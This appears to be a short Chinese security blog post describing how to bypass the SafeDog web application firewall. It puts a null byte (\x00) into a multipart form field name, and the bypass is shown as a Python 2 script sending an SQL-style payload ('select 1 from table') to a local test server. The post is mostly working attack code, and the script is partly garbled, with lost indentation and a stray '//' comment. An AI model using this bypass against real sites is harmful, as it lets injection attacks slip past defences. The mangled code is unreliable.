利用截断-x00、-x09绕过安全狗

发现截断也可以绕过安全狗的防御。

测试代码:

code 区域
      import urllib2
url = "http://192.168.4.70/a.php"
header = {
'User-Agent' : 'letmetest',
'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
}

def getdata(m):
return "1"*m def postdata(n):

data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n' # data += 'Content-Disposition: form-data; name="file"\r\n\r\n' # data += '%s\r\n' % "121212112121" # data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n' # data += 'Content-Disposition: form-data; name="file"; filename="a.jpg\x00.aa"\r\n' # data += 'Content-Type: text/plain\r\n\r\n' # data += 'abc%23\r\n' data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n' data += 'Content-Disposition: form-data; name="\x00test"\r\n\r\n' //在POST查询的参数名之前插入\X00 data += '%27abcd\r\n' data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n' data += 'Content-Disposition: form-data; name="submit"\r\n\r\n' data += 'select 1 from table\r\n' data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n' return data
      proxy = "http://127.0.0.1:8080"
opener = urllib2.build_opener(urllib2.ProxyHandler({'http':proxy}))
urllib2.install_opener(opener)
request = urllib2.Request(url,postdata(10),header)
response = urllib2.urlopen(request).read()
print response

注意此处name处的\x00,分别测试添加和不添加的情况。

添加的时候的结果:直接显示提交的内容

不添加\x00的时候的结果:提示被安全狗拦截了

由于截断导致了安全狗对于select 1 from table内容没有检测。